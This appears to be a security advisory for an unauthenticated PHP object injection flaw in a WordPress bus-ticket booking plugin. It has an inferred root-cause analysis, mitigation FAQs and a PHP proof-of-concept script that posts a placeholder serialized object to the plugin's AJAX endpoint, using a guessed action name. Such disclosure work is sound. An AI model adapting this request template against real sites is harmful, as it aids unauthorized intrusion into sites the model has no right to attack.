Atomic Edge analysis of CVE-2026-27095 (metadata-based):
This vulnerability is an unauthenticated PHP Object Injection in the Bus Ticket Booking with Seat Reservation WordPress plugin. The root cause is the deserialization of untrusted input without proper validation. The CWE-502 classification confirms the plugin passes user-controlled data to an unserialize() function. The CVSS vector indicates a network attack with high confidentiality, integrity, and availability impact, but with high attack complexity. This suggests exploitation requires specific conditions. The description states no known POP chain exists in the plugin itself. Attackers must rely on a POP chain from another installed plugin or theme to achieve remote code execution, file deletion, or data theft. The vulnerability likely exists in an AJAX handler or REST API endpoint accessible without authentication. Common WordPress plugin patterns point to a handler registered via wp_ajax_nopriv_ or the REST API. The fix requires removing the unserialize() call or implementing strict validation, such as using json_decode() with associative arrays or implementing a safe allowlist for classes. Atomic Edge research infers the attack vector involves sending a serialized PHP object via a POST or GET parameter to a plugin-specific endpoint. The high attack complexity score aligns with the need for a secondary POP chain, making reliable exploitation less trivial.
CVE-2026-27095: Bus Ticket Booking with Seat Reservation <= 5.6.2 – Unauthenticated PHP Object Injection (bus-ticket-booking-with-seat-reservation)
CVE-2026-27095
5.6.2
—
Analysis Overview
Differential between vulnerable and patched code
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27095 - Bus Ticket Booking with Seat Reservation <= 5.6.2 - Unauthenticated PHP Object Injection
<?php
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
// The exact AJAX action name is inferred from the plugin slug.
// Common patterns include 'buses_ajax_handler', 'seat_reservation_action', or 'wbtm_ajax_call'.
// This PoC uses a placeholder. A real exploit requires identifying the correct action.
$inferred_action = 'wbtm_ajax_request';
// Construct a generic serialized payload.
// Without a known POP chain, this is a demonstration payload.
// A real attack requires a gadget chain from another component.
$serialized_payload = 'O:8:"stdClass":1:{s:4:"test";s:13:"injected_data";}';
$post_data = array(
'action' => $inferred_action,
// The vulnerable parameter name is unknown. Common names include 'data', 'request', or 'payload'.
'payload' => $serialized_payload
);
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// This PoC cannot confirm successful object injection without a POP chain.
// It demonstrates the hypothesized request structure.
?>Frequently Asked Questions
What is CVE-2026-27095?
Understanding the vulnerabilityCVE-2026-27095 is a high-severity vulnerability in the Bus Ticket Booking with Seat Reservation plugin for WordPress. It allows unauthenticated attackers to exploit PHP Object Injection through the deserialization of untrusted input, potentially leading to remote code execution if a suitable payload chain is present.
How does PHP Object Injection work?
Mechanism of the vulnerabilityPHP Object Injection occurs when user-controlled data is passed to the unserialize() function without proper validation. This can allow an attacker to inject a crafted PHP object that may manipulate the application’s behavior, especially if a vulnerable class or method is present.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the Bus Ticket Booking with Seat Reservation plugin version 5.6.2 or earlier is affected. Administrators can check their plugin version in the WordPress admin dashboard under ‘Plugins’.
What are the practical risks of this vulnerability?
Understanding the severity levelWith a CVSS score of 8.1, this vulnerability poses a high risk to confidentiality, integrity, and availability. Exploitation could lead to unauthorized access, file deletion, or execution of arbitrary code, depending on the presence of a suitable payload chain.
How can I mitigate or fix this issue?
Recommended actions for administratorsTo mitigate this vulnerability, update the Bus Ticket Booking with Seat Reservation plugin to the latest version. If an immediate update is not possible, consider disabling the plugin until a fix is available or implementing strict input validation to prevent deserialization of untrusted data.
What is a POP chain?
Explaining the conceptA POP (Property-Oriented Programming) chain is a sequence of operations that exploit a vulnerability to achieve a malicious goal, such as remote code execution. In this case, the CVE-2026-27095 vulnerability does not have a built-in POP chain, but relies on one from another plugin or theme.
How does the proof of concept demonstrate the vulnerability?
Understanding the PoC codeThe proof of concept illustrates how an attacker can send a serialized PHP object to a vulnerable AJAX endpoint. It shows the construction of a payload that could potentially exploit the vulnerability, although successful exploitation requires a suitable POP chain from another component.
What should I do if I cannot update the plugin immediately?
Interim measures to takeIf immediate updates are not feasible, consider disabling the plugin to prevent potential exploitation. Additionally, review your site for other vulnerable plugins or themes that could provide a POP chain and apply security best practices to limit exposure.
What is the CVSS score and what does it indicate?
Understanding the scoring systemThe CVSS score of 8.1 indicates a high severity level, meaning the vulnerability poses significant risks to systems. It reflects the potential impact on confidentiality, integrity, and availability, as well as the complexity involved in exploiting the vulnerability.
How can I check for other vulnerabilities in my WordPress site?
Best practices for securityRegularly review and update all plugins and themes on your WordPress site. Utilize security plugins that scan for vulnerabilities, and consider conducting periodic security audits to identify and remediate potential risks.
Is there a way to prevent PHP Object Injection vulnerabilities?
Preventative measuresTo prevent PHP Object Injection vulnerabilities, avoid using unserialize() with untrusted data. Instead, implement strict validation and use safer alternatives like json_decode() with appropriate checks or create a whitelist of allowed classes.
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